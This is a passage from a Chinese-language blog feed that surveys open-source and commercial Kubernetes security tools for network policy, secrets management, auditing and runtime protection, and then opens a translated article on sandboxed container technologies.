&lt;p&gt;Aporeto 提供了“从网络和基础设施中解耦的安全性”。这意味着你的 Kubernetes 服务不只是获得了一个本地 ID（也就是 Kubernetes ServiceAccount），还有一个全局 ID/指纹，可以以此为基础和任何其它服务进行安全和双向校验的通信。&lt;/p&gt;

&lt;p&gt;Aporeto 生成的唯一身份，不仅可以提供给 Kubernetes 或者容器，还能提供给主机、云函数和用户使用，根据这些身份和网络安全策略的配置，可以选择性的对通信进行放行或者阻断。&lt;/p&gt;

&lt;h3 id=&#34;calico&#34;&gt;Calico&lt;/h3&gt;

&lt;p&gt;&lt;img src=&#34;images/calico_k8s_security.png&#34; alt=&#34;Calico&#34; /&gt;&lt;/p&gt;

&lt;p&gt;主页：&lt;a href=&#34;https://www.projectcalico.org/&#34; target=&#34;_blank&#34;&gt;https://www.projectcalico.org/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;许可：免费（Apache）&lt;/p&gt;

&lt;p&gt;Calico 经常随容器编排系统一同部署，用于实现容器之间的虚拟网络。在基础的网络功能之外，Calico 项目还实现了 Kubernetes 网络策略规范，以及自己的一套安全策略，其中包括了端点的 ACL 和基于注解的入栈/出栈网络安全规则。&lt;/p&gt;

&lt;h3 id=&#34;cilium&#34;&gt;Cilium&lt;/h3&gt;

&lt;p&gt;&lt;img src=&#34;images/cilium_k8s_security.png&#34; alt=&#34;cilium&#34; /&gt;&lt;/p&gt;

&lt;p&gt;主页：&lt;a href=&#34;https://www.cilium.io/&#34; target=&#34;_blank&#34;&gt;https://www.cilium.io/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;许可：免费（Apache）&lt;/p&gt;

&lt;p&gt;Cilium 提供了容器防火墙以及网络安全功能，适用于 Kubernetes 和微服务负载。Cilium 依赖于一种新的 Linux 内核技术——BPF，用它来执行核心数据路径的过滤、监控、重整、重定向等功能。&lt;/p&gt;

&lt;p&gt;Cilium 能够根据容器身份（Docker 或者 Kubernetes 标签和元数据）进行网络访问策略的定义。Cilium 还能理解并过滤多种 HTTP、gRPC 这样的 L7 协议（例如可以设置两个 Kubernetes 部署之间 REST API 的访问性）。&lt;/p&gt;

&lt;h3 id=&#34;istio&#34;&gt;Istio&lt;/h3&gt;

&lt;p&gt;&lt;img src=&#34;images/istio_k8s_security.png&#34; alt=&#34;Istio&#34; /&gt;&lt;/p&gt;

&lt;p&gt;主页：&lt;a href=&#34;https://istio.io/&#34; target=&#34;_blank&#34;&gt;https://istio.io/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;许可：免费（Apache）&lt;/p&gt;

&lt;p&gt;Istio 是广为人知的服务网格产品，它通过部署平台无关的控制平面，并把所有托管服务流量重新路由到动态配置的 Envoy Proxy 上完成网格功能。Istio 占据了通信的主动权，能够为微服务和容器实现多种网络安全策略。&lt;/p&gt;

&lt;p&gt;Istio 网络安全能力包括：透明的 TLS 加密，能够自动把微服务通信升级为 HTTPS，并且它具备 RBAC 以及鉴权能力，可以在集群中不同工作负载之间进行通信时进行接受或者拒绝的决策。&lt;/p&gt;

&lt;h3 id=&#34;tigera&#34;&gt;Tigera&lt;/h3&gt;

&lt;p&gt;&lt;img src=&#34;images/tigera_k8s_security.png&#34; alt=&#34;Tigera&#34; /&gt;&lt;/p&gt;

&lt;p&gt;主页：&lt;a href=&#34;https://www.tigera.io/&#34; target=&#34;_blank&#34;&gt;https://www.tigera.io/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;许可：商业&lt;/p&gt;

&lt;p&gt;Tigera 的“Kubernetes 防火墙”技术，以零信任网络的理念来加固 Kubernetes 的网络安全。&lt;/p&gt;

&lt;p&gt;与其它 Kubernetes 原生网络解决方案类似，Tigera 利用 Kubernetes 元数据来识别集群中的不同服务和实体，提供跨多云或混合单体-容器基础设施运行时检测、持续合规性检查和网络监控能力。&lt;/p&gt;

&lt;h3 id=&#34;trireme&#34;&gt;Trireme&lt;/h3&gt;

&lt;p&gt;&lt;img src=&#34;images/trireme_k8s_security.png&#34; alt=&#34;Trireme&#34; /&gt;&lt;/p&gt;

&lt;p&gt;主页：&lt;a href=&#34;https://www.aporeto.com/opensource/&#34; target=&#34;_blank&#34;&gt;https://www.aporeto.com/opensource/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;许可：免费（Apache）&lt;/p&gt;

&lt;p&gt;Trireme 是一个简单直接的 Kubernetes 网络策略规范的实现。它有一个与众不同的特点：无需一个中心控制平面来对网格进行协调，因此这个方案具备很好的伸缩能力。Trireme 通过在每个节点上安装代理的方式来影响主机的 TCP/IP 网络栈。&lt;/p&gt;

&lt;h2 id=&#34;镜像分发和机密管理&#34;&gt;镜像分发和机密管理&lt;/h2&gt;

&lt;h3 id=&#34;grafeas&#34;&gt;Grafeas&lt;/h3&gt;

&lt;p&gt;&lt;img src=&#34;images/grafeas_k8s_security.png&#34; alt=&#34;Grafeas&#34; /&gt;&lt;/p&gt;

&lt;p&gt;主页：&lt;a href=&#34;https://grafeas.io/&#34; target=&#34;_blank&#34;&gt;https://grafeas.io/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;许可：免费（Apache）&lt;/p&gt;

&lt;p&gt;Grafeas 是一个开源的 API，用于对软件供应链进行审计和监管。泛泛而论，Grafeas 是一个元数据和审计日志收集工具，可以用来跟踪组织中的安全合规实践。&lt;/p&gt;

&lt;p&gt;这种集中起来的信息可以帮助用户回答类似这样的安全问题：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;某个容器是谁构建并签名的？&lt;/li&gt;
&lt;li&gt;所有的安全扫描和策略检查都通过了么？什么时候的事？这些工具都输出了什么信息？&lt;/li&gt;
&lt;li&gt;谁把它部署到生产环境的？用什么参数部署的？&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;portieris&#34;&gt;Portieris&lt;/h3&gt;

&lt;p&gt;&lt;img src=&#34;images/portieris_k8s_security.png&#34; alt=&#34;Portieris&#34; /&gt;&lt;/p&gt;

&lt;p&gt;主页：&lt;a href=&#34;https://github.com/IBM/portieris&#34; target=&#34;_blank&#34;&gt;https://github.com/IBM/portieris&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;许可：免费（Apache）&lt;/p&gt;

&lt;p&gt;Portieris 是一个 Kubernetes 准入控制器，可以用于内容信任。它依赖 &lt;a href=&#34;https://github.com/theupdateframework/notary&#34; target=&#34;_blank&#34;&gt;Notary&lt;/a&gt; 服务器以此作为信任源头并签署工件。&lt;/p&gt;

&lt;p&gt;一旦修改了 Kubernetes 的工作负载，Portieris 就会为请求的容器镜像拉取签名信息和内容信任策略，如果需要的话，还可以修改 API 对象的内容，并以签署版本的镜像来进行替换。&lt;/p&gt;

&lt;h3 id=&#34;vault&#34;&gt;Vault&lt;/h3&gt;

&lt;p&gt;&lt;img src=&#34;images/vault_k8s_security.png&#34; alt=&#34;Vault&#34; /&gt;&lt;/p&gt;

&lt;p&gt;主页：&lt;a href=&#34;https://www.vaultproject.io/&#34; target=&#34;_blank&#34;&gt;https://www.vaultproject.io/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;许可：免费（MPL）&lt;/p&gt;

&lt;p&gt;Vault 是一个用于存储机密（例如密码、Token、Secret 等）的高度安全的存储方案，它支持很多高级功能，例如临时安全令牌或者受编排的密钥翻转。&lt;/p&gt;

&lt;p&gt;可以用 Helm 在 Kubernetes 集群中部署 Vault 的 Chart，使用 Consul 作为存储后端。它支持 Kubernetes 的本地资源，比如说 ServiceAccount Token，甚至还能作为缺省的 Kubernetes Secret 仓库。&lt;/p&gt;

&lt;h2 id=&#34;kubernetes-安全审计&#34;&gt;Kubernetes 安全审计&lt;/h2&gt;

&lt;h3 id=&#34;kube-bench&#34;&gt;Kube-bench&lt;/h3&gt;

&lt;p&gt;&lt;img src=&#34;images/kube-bench_k8s_security.png&#34; alt=&#34;Kube-Bench&#34; /&gt;&lt;/p&gt;

&lt;p&gt;主页：&lt;a href=&#34;https://github.com/aquasecurity/kube-bench&#34; target=&#34;_blank&#34;&gt;https://github.com/aquasecurity/kube-bench&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;许可：免费（Apache）&lt;/p&gt;

&lt;p&gt;Kube-Bench 是一个 Go 应用，它会运行 &lt;a href=&#34;https://sysdig.com/products/secure/container-compliance/&#34; target=&#34;_blank&#34;&gt;CIS Kubernetes 基准测试&lt;/a&gt;中的测试，来检查 Kubernetes 部署的安全程度。&lt;/p&gt;

&lt;p&gt;Kube-Bench 会扫描你的 Kubernetes 集群组件（ETCD、API、Controller Manager 等）、敏感文件授权、不安全的帐号或者开放端口、资源配额、API 速率限制等方面查找不安全的配置参数。&lt;/p&gt;

&lt;h3 id=&#34;kube-hunter&#34;&gt;Kube-Hunter&lt;/h3&gt;

&lt;p&gt;&lt;img src=&#34;images/kube-hunter_k8s_security.png&#34; alt=&#34;Kube Hunter&#34; /&gt;&lt;/p&gt;

&lt;p&gt;主页：&lt;a href=&#34;https://github.com/aquasecurity/kube-hunter&#34; target=&#34;_blank&#34;&gt;https://github.com/aquasecurity/kube-hunter&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;许可：免费（Apache）&lt;/p&gt;

&lt;p&gt;Kube-Hunter 在 Kubernetes 集群中查找安全弱点（例如远程代码执行或者信息泄露）。可以把 Kube-Hunter 作为一个远程扫描器，来从外部攻击者的视角来观察你的集群；也可以用 Pod 的方式来运行。&lt;/p&gt;

&lt;p&gt;Kube-Hunter 有个特别之处就是“active hunting”，它不仅会报告问题，而且还会尝试利用在 Kubernetes 集群中发现的问题，这种操作可能对集群有害，应小心使用。&lt;/p&gt;

&lt;h3 id=&#34;kubeaudit&#34;&gt;Kubeaudit&lt;/h3&gt;

&lt;p&gt;&lt;img src=&#34;images/kubeaudit_k8s_security.png&#34; alt=&#34;Kube Audit&#34; /&gt;&lt;/p&gt;

&lt;p&gt;主页：&lt;a href=&#34;https://github.com/Shopify/kubeaudit&#34; target=&#34;_blank&#34;&gt;https://github.com/Shopify/kubeaudit&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;许可：免费（MIT）&lt;/p&gt;

&lt;p&gt;Kubeaudit 是一个免费的命令行工具，由 Shopify 提供，用于对 Kubernetes 的配置进行多方面的审计。其中包含无限制的镜像使用、以 Root 身份运行、特权运行以及缺省的 ServiceAccount 等。&lt;/p&gt;

&lt;p&gt;Kubeaudit 由很多其它有趣的功能，例如扫描处理本地的 YAML 来查找配置缺陷和安全问题，并且自动修复。&lt;/p&gt;

&lt;h3 id=&#34;kubesec&#34;&gt;Kubesec&lt;/h3&gt;

&lt;p&gt;&lt;img src=&#34;images/kubesec_k8s_security.png&#34; alt=&#34;Kube Sec&#34; /&gt;&lt;/p&gt;

&lt;p&gt;主页：&lt;a href=&#34;https://kubesec.io/&#34; target=&#34;_blank&#34;&gt;https://kubesec.io/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;许可：免费（Apache）&lt;/p&gt;

&lt;p&gt;Kubesec 是一个比较特别的 Kubernetes 安全工具，它会直接对 YAML 进行扫描，查找其中描述的 Kubernetes 资源是否使用了较弱的安全参数。&lt;/p&gt;

&lt;p&gt;例如它可以检测到 Pod 的过高权限，使用 root 作为默认用户、附加到主机网络命名空间、危险的加载操作（例如 &lt;code&gt;/proc&lt;/code&gt; 或者 Docker Socket）。它还提供了一个在线的演示，可以在上面提交 YAML 体验这一功能。&lt;/p&gt;

&lt;h3 id=&#34;open-policy-agent&#34;&gt;Open Policy Agent&lt;/h3&gt;

&lt;p&gt;&lt;img src=&#34;images/opa_k8s_security.png&#34; alt=&#34;OPA&#34; /&gt;&lt;/p&gt;

&lt;p&gt;主页：&lt;a href=&#34;https://www.openpolicyagent.org/&#34; target=&#34;_blank&#34;&gt;https://www.openpolicyagent.org/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;许可：免费（Apache）&lt;/p&gt;

&lt;p&gt;OPA 的目标是把安全策略和最佳实践从特定的运行时平台（Docker、Kubernetes、Mesosphere、Openshift 等）中解耦出来。&lt;/p&gt;

&lt;p&gt;例如可以把 OPA 作为 Kubernetes 准入控制器后端进行部署，这样 OPA 代理就可以接管安全决策，根据自定义安全约束，对请求进行校验、拒绝甚至是就地修改。OPA 使用一种自有的 DSL（Rego）编写策略。&lt;/p&gt;

&lt;h2 id=&#34;端到端的-kubernetes-安全商业产品&#34;&gt;端到端的 Kubernetes 安全商业产品&lt;/h2&gt;

&lt;p&gt;我们决定创建一个单独的分类来介绍商业产品，这是因为它们经常会覆盖安全工作的多个方面。下表做了一些简要对比。&lt;/p&gt;

&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;镜像扫描&lt;/th&gt;
&lt;th&gt;容器合规&lt;/th&gt;
&lt;th&gt;运行时安全&lt;/th&gt;
&lt;th&gt;网络安全&lt;/th&gt;
&lt;th&gt;Forensics&lt;/th&gt;
&lt;th&gt;Kubernetes 审计&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;

&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;AquaSec&lt;/td&gt;
&lt;td&gt;Y&lt;/td&gt;
&lt;td&gt;Y&lt;/td&gt;
&lt;td&gt;Y&lt;/td&gt;
&lt;td&gt;Y&lt;/td&gt;
&lt;td&gt;Y&lt;/td&gt;
&lt;td&gt;Y&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;Capsule8&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;Y&lt;/td&gt;
&lt;td&gt;Y&lt;/td&gt;
&lt;td&gt;Y&lt;/td&gt;
&lt;td&gt;Y&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;Caviring&lt;/td&gt;
&lt;td&gt;Y&lt;/td&gt;
&lt;td&gt;Y&lt;/td&gt;
&lt;td&gt;Y&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;Y&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;Google SCC&lt;/td&gt;
&lt;td&gt;Y&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;Y&lt;/td&gt;
&lt;td&gt;插件&lt;/td&gt;
&lt;td&gt;Y&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;Layered Insight&lt;/td&gt;
&lt;td&gt;Y&lt;/td&gt;
&lt;td&gt;Y&lt;/td&gt;
&lt;td&gt;Y&lt;/td&gt;
&lt;td&gt;Y&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;NeuVector&lt;/td&gt;
&lt;td&gt;Y&lt;/td&gt;
&lt;td&gt;Y&lt;/td&gt;
&lt;td&gt;Y&lt;/td&gt;
&lt;td&gt;Y&lt;/td&gt;
&lt;td&gt;Y&lt;/td&gt;
&lt;td&gt;Y&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;StackRox&lt;/td&gt;
&lt;td&gt;Y&lt;/td&gt;
&lt;td&gt;Y&lt;/td&gt;
&lt;td&gt;Y&lt;/td&gt;
&lt;td&gt;Y&lt;/td&gt;
&lt;td&gt;Y&lt;/td&gt;
&lt;td&gt;Y&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;Sysdig Secure&lt;/td&gt;
&lt;td&gt;Y&lt;/td&gt;
&lt;td&gt;Y&lt;/td&gt;
&lt;td&gt;Y&lt;/td&gt;
&lt;td&gt;Y&lt;/td&gt;
&lt;td&gt;Y&lt;/td&gt;
&lt;td&gt;Y&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;Tenable Container security&lt;/td&gt;
&lt;td&gt;Y&lt;/td&gt;
&lt;td&gt;Y&lt;/td&gt;
&lt;td&gt;Y&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;Twistlock&lt;/td&gt;
&lt;td&gt;Y&lt;/td&gt;
&lt;td&gt;Y&lt;/td&gt;
&lt;td&gt;Y&lt;/td&gt;
&lt;td&gt;Y&lt;/td&gt;
&lt;td&gt;Y&lt;/td&gt;
&lt;td&gt;Y&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;

&lt;h3 id=&#34;aqua-security&#34;&gt;Aqua Security&lt;/h3&gt;

&lt;p&gt;&lt;img src=&#34;images/aquasec_k8s_security.png&#34; alt=&#34;Aqua Sec&#34; /&gt;&lt;/p&gt;

&lt;p&gt;主页：&lt;a href=&#34;https://www.aquasec.com/&#34; target=&#34;_blank&#34;&gt;https://www.aquasec.com/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;许可：商业&lt;/p&gt;

&lt;p&gt;AquaSec 是一个针对容器和云负载的商业安全工具，包括：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;能够集成到容器仓库或者 CICD 的镜像扫描。&lt;/li&gt;
&lt;li&gt;能够检测容器修改或异常行为的运行时保护。&lt;/li&gt;
&lt;li&gt;容器原生的应用程序防火墙。&lt;/li&gt;
&lt;li&gt;针对云服务的 Serverless 安全。&lt;/li&gt;
&lt;li&gt;集成到事件日志的合规和审计报告。&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;capsule-8&#34;&gt;Capsule 8&lt;/h3&gt;

&lt;p&gt;&lt;img src=&#34;images/capsule8_k8s_security.png&#34; alt=&#34;capsule8_k8s_security.png&#34; /&gt;&lt;/p&gt;

&lt;p&gt;主页：&lt;a href=&#34;https://capsule8.com/&#34; target=&#34;_blank&#34;&gt;https://capsule8.com/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;许可：商业&lt;/p&gt;

&lt;p&gt;Capsule 8 在你的自建或云端 Kubernetes 集群中部署探针，从而集成到基础设施之中。这个探针会搜集主机和网络指标，通过这些数据和攻击行为模式进行匹配。&lt;/p&gt;

&lt;p&gt;Capsule 8 团队负责在 0 day 攻击到达你的集群之前进行检测和阻止。他们的安全团队能够将安全规则推送到探针上，从而阻止软件威胁。&lt;/p&gt;

&lt;h3 id=&#34;cavirin&#34;&gt;Cavirin&lt;/h3&gt;

&lt;p&gt;&lt;img src=&#34;images/cavirin_k8s_security.png&#34; alt=&#34;Cavirin&#34; /&gt;&lt;/p&gt;

&lt;p&gt;主页：&lt;a href=&#34;https://www.cavirin.com/&#34; target=&#34;_blank&#34;&gt;https://www.cavirin.com/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;许可：商业&lt;/p&gt;

&lt;p&gt;Cavirin 专注于为不同的安全标准化机构提供企业版本。它的镜像扫描功能，还可以与 CI/CD 管道进行集成，在将不合规的镜像推送到镜像库之前阻止它们。&lt;/p&gt;

&lt;p&gt;Cavirin 安全套件使用机器学习为网络安全状态提供类似信用的评分，提供补救技巧，以改善安全状况或安全标准合规性。&lt;/p&gt;

&lt;h3 id=&#34;google-cloud-security-command-center&#34;&gt;Google Cloud Security Command Center&lt;/h3&gt;

&lt;p&gt;&lt;img src=&#34;images/googlescc_k8s_security.png&#34; alt=&#34;GCP SCC&#34; /&gt;&lt;/p&gt;

&lt;p&gt;主页：&lt;a href=&#34;https://cloud.google.com/security-command-center/&#34; target=&#34;_blank&#34;&gt;https://cloud.google.com/security-command-center/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;许可：商业&lt;/p&gt;

&lt;p&gt;Google SCC 能帮安全团队收集数据、识别威胁并在业务损失之前对其采取行动。&lt;/p&gt;

&lt;p&gt;SCC 是一个统一的控制面板，在这里可以集成不同的安全报告、资产清单以及第三方安全引擎。&lt;/p&gt;

&lt;p&gt;SCC 提供的 API 可以集成来自不同来源（&lt;a href=&#34;https://sysdig.com/blog/kubernetes-security-for-google-cloud-security-command-center/&#34; target=&#34;_blank&#34;&gt;Sysdig Secure&lt;/a&gt; 或者 &lt;a href=&#34;https://sysdig.com/blog/falco-gke-kubernetes-security/&#34; target=&#34;_blank&#34;&gt;Falco&lt;/a&gt;）的 Kubernetes 安全事件。&lt;/p&gt;

&lt;h3 id=&#34;layered-insight-qualys&#34;&gt;Layered Insight (Qualys)&lt;/h3&gt;

&lt;p&gt;&lt;img src=&#34;layered_k8s_security.png&#34; alt=&#34;Layered&#34; /&gt;&lt;/p&gt;

&lt;p&gt;主页：&lt;a href=&#34;https://layeredinsight.com/&#34; target=&#34;_blank&#34;&gt;https://layeredinsight.com/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;许可：商业&lt;/p&gt;

&lt;p&gt;Layered Insight（现在是 Qualys 的一部分）是围绕“嵌入式安全性”的概念设计的。它用静态分析技术扫描原有镜像漏洞并通过 CVE 检查后，Layered Insight 会注入一个二进制代理，生成一个中间镜像。&lt;/p&gt;

&lt;p&gt;这个二进制代理包括容器网络流量、I/O 流以及应用程序活动的运行时安全性探测，还包括基础架构运营商或 DevOps 团队提供的自定义安全检查内容。&lt;/p&gt;

&lt;h3 id=&#34;neuverctor&#34;&gt;Neuverctor&lt;/h3&gt;

&lt;p&gt;&lt;img src=&#34;images/neuvector_k8s_security.png&#34; alt=&#34;neuvector_k8s_security.png&#34; /&gt;&lt;/p&gt;

&lt;p&gt;主页：&lt;a href=&#34;https://neuvector.com/&#34; target=&#34;_blank&#34;&gt;https://neuvector.com/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;许可：商业&lt;/p&gt;

&lt;p&gt;NeuVector 通过分析网络活动和应用程序行为，为每个映像创建定制的安全配置文件，来执行容器安全基准和运行时保护。它还可以主动阻止威胁，通过修改本地网络防火墙来隔离可疑活动。&lt;/p&gt;

&lt;p&gt;NeuVector 的网络集成，标记为“安全网格”，能够对服务网格中的所有网络连接执行数据包深度检查和 L7 过滤。&lt;/p&gt;

&lt;h3 id=&#34;stackrox&#34;&gt;StackRox&lt;/h3&gt;

&lt;p&gt;&lt;img src=&#34;images/stackrox_k8s_security.png&#34; alt=&#34;StackRox&#34; /&gt;&lt;/p&gt;

&lt;p&gt;主页：&lt;a href=&#34;https://www.stackrox.com/&#34; target=&#34;_blank&#34;&gt;https://www.stackrox.com/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;许可：商业&lt;/p&gt;

&lt;p&gt;StackRox 容器安全平台的设计目标是涵盖 Kubernetes 集群中应用程序的整个生命周期。与此列表中的其它商业方案一样，它会根据观察到的容器行为生成运行时配置文件，并会在发现异常情况时自动发出警报。&lt;/p&gt;

&lt;p&gt;StackRox 平台还将使用 CIS Kubernetes 基准以及其他容器合规性基准，对 Kubernetes 配置进行评估。&lt;/p&gt;

&lt;h3 id=&#34;sysdig-secure&#34;&gt;Sysdig Secure&lt;/h3&gt;

&lt;p&gt;&lt;img src=&#34;images/sysdig_secure_k8s_security.png&#34; alt=&#34;Sysdig Secure&#34; /&gt;&lt;/p&gt;

&lt;p&gt;主页：&lt;a href=&#34;https://sysdig.com/products/secure/&#34; target=&#34;_blank&#34;&gt;https://sysdig.com/products/secure/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;许可：商业&lt;/p&gt;

&lt;p&gt;Sysdig Secure 在整个容器生命周期内对云原生应用程序实施保护。它把镜像扫描，运行时保护和取证结合在一起，以识别漏洞、阻止威胁，执行合规性并对微服务中的活动进行审计。&lt;/p&gt;

&lt;p&gt;一些重要功能包括：&lt;/p&gt;

&lt;p&gt;Scanning images in a registry or as part of the CI/CD process to uncover vulnerable libraries, packages, and configuration
Run-time detection to protect containers in production with behavioral profiles
Record pre- and post-attack activity through system calls with microsecond level granularity
250+ out of the box compliance checks to keep your configuration secure&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;在镜像库中，或作为 CI/CD 过程的一部分对镜像进行扫描，以发现易受攻击的库、包和配置内容。&lt;/li&gt;
&lt;li&gt;运行时检测，使用行为配置文件来保护生产中的容器。&lt;/li&gt;
&lt;li&gt;通过系统调用，在毫秒一级对攻击前后的行为进行记录。&lt;/li&gt;
&lt;li&gt;开箱即用的超过 250 项合规性检查，帮助用户保持配置安全。&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;tenable-container-security&#34;&gt;Tenable Container Security&lt;/h3&gt;

&lt;p&gt;&lt;img src=&#34;images/tenable_k8s_security.png&#34; alt=&#34;Tenable&#34; /&gt;&lt;/p&gt;

&lt;p&gt;主页：&lt;a href=&#34;https://www.tenable.com/products/tenable-io/container-security&#34; target=&#34;_blank&#34;&gt;https://www.tenable.com/products/tenable-io/container-security&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;许可：商业&lt;/p&gt;

&lt;p&gt;在容器问世之前，Tenable 在安全行业广为人知，它的 Nusus 是一款流行的漏洞扫描和安全审计工具。&lt;/p&gt;

&lt;p&gt;Tenable Container security 利用他们在计算机安全领域的经验，将 CI/CD 与漏洞数据库、专门的恶意软件检测引擎和安全威胁补救建议集成在一起。&lt;/p&gt;

&lt;h3 id=&#34;twistlock-palo-alto-networks&#34;&gt;Twistlock (Palo Alto Networks)&lt;/h3&gt;

&lt;p&gt;&lt;img src=&#34;images/twistlock_k8s_security.png&#34; alt=&#34;Twistlock&#34; /&gt;&lt;/p&gt;

&lt;p&gt;主页：&lt;a href=&#34;https://www.twistlock.com/&#34; target=&#34;_blank&#34;&gt;https://www.twistlock.com/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;许可：商业&lt;/p&gt;

&lt;p&gt;Twistlock 自诩为云优先的、容器优先的平台，提供与云提供商（AWS，Azure，GCP）、容器编排器（Kubernetes，Mesospehere，Openshift，Docker），Serverless 运行时，网格框架和 CI/CD 工具的特定集成。&lt;/p&gt;

&lt;p&gt;除了通常的容器安全企业功能，如 CI/CD 管道集成或镜像扫描，Twistlock 使用机器学习技术来生成行为模式和容器感知网络规则。&lt;/p&gt;

&lt;p&gt;Twistlock 被 Palo Alto Networks 收购，Palo Alto Networks 也是 Evident.io 和 Redlock 安全解决方案的所有者。期待这三个平台合而为一，整合到 Palo Alto 的 PRISMA 中。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>为容器提供更好的隔离：沙箱容器技术概览</title>
      <link>/post/an-overview-of-sandboxed-container/</link>
      <pubDate>Wed, 10 Jul 2019 17:14:41 +0800</pubDate>
      <guid>/post/an-overview-of-sandboxed-container/</guid>
      <description>

&lt;p&gt;原文：&lt;a href=&#34;https://unit42.paloaltonetworks.com/making-containers-more-isolated-an-overview-of-sandboxed-container-technologies/&#34; target=&#34;_blank&#34;&gt;Making Containers More Isolated: An Overview of Sandboxed Container Technologies&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;作者：&lt;a href=&#34;https://unit42.paloaltonetworks.com/author/jaychenpaloaltonetworks-com/&#34; target=&#34;_blank&#34;&gt;Jay Chen&lt;/a&gt;&lt;/p&gt;

&lt;h2 id=&#34;摘要&#34;&gt;摘要&lt;/h2&gt;

&lt;p&gt;既然主流 IT 工业都在采用基于容器的基础设施（云原生方案），那么了解这一技术的短板就很重要了。Docker、LXC 以及 RKT 等传统容器都是共享主机操作系统核心的，因此不能称之为真正的沙箱。这些技术的资源利用率很高，但是受攻击面积和潜在的攻击影响都很大，在多租户的云环境中，不同客户的容器会被同样的进行编排，这种威胁就尤其明显。主机操作系统在为每个容器创建虚拟的用户空间时，不同容器之间的隔离是很薄弱的，这是造成上述问题的根本原因。基于这样的现状，真正的沙箱式容器，成为很多研发工作的焦点。多数方案都对容器之间的边界进行了重新架构，以增强隔离。本文覆盖了四个项目，分别来自于 IBM、Google、Amazon 以及 OpenStack，几个方案的目标是一致的：为容器提供更强的隔离。IBM Nabla 在 Unikernel 的基础上构建容器；Google 的 gVisor 为运行的容器创建一个特定的内核；Amazon 的 Firecracker 是一个超轻量级的沙箱应用管理程序；OpenStack 将容器置入特定的为容器编排平台优化的虚拟机之中。下面对几个方案的概述，有助于读者应对即将到来的转型机会。&lt;/p&gt;

&lt;h2 id=&#34;目前的容器技术&#34;&gt;目前的容器技术&lt;/h2&gt;

&lt;p&gt;容器是一种对应用进行打包、分享和部署的现代化方式。与把所有功能打包为单一软件的单体应用相反，容器化应用或微服务的设计目标是专注于单一任务。容器中包含要完成这一任务所需的所有依赖项目（包、库和一些二进制文件）。正因如此，容器化应用是平台无关的，能够在任何操作系统上运行，并不在意其版本或者已部署软件。这给开发人员带来了极大的方便，再也不用为不同的客户和平台准备不同版本的软件了。因此也有了一个不太准确的想法：把容器当成了“轻量级虚拟机”。当容器在主机上完成部署之后，每个容器的资源，例如文件系统、进程和网络栈都会被安置在一个虚拟的隔离环境之中，其它容器无法访问这一隔离环境。这个技术能够在一个集群内同时运行几百或几千个容器，容器化应用能够轻松的通过复制容器实例的方式进行伸缩。&lt;/p&gt;

